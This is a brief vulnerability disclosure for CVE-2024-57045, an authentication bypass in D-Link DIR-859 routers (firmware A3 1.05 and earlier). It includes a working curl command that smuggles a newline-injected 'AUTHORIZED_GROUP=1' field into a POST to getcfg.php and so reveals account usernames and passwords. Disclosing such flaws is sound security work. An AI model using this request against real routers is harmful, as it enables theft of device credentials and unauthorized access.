A vulnerability in the D-Link DIR-859 router permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.
curl http://target/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1"
D-Link DIR-859
(Firmware version A3 1.05 and earlier)
When attempting to curl http://target/getcfg.php -d "SERVICES=DEVICE.ACCOUNT" without the specific string "0aAUTHORIZED_GROUP=1", the response return "Not authorized".
However, by incorporating the string "0aAUTHORIZED_GROUP=1" into the command, the authentication check is successfully bypassed. This manipulation discloses entry information, including usernames and passwords, thereby granting an attacker the ability to perform further unauthorized operations.
Shuanunio
CVE-2024-57045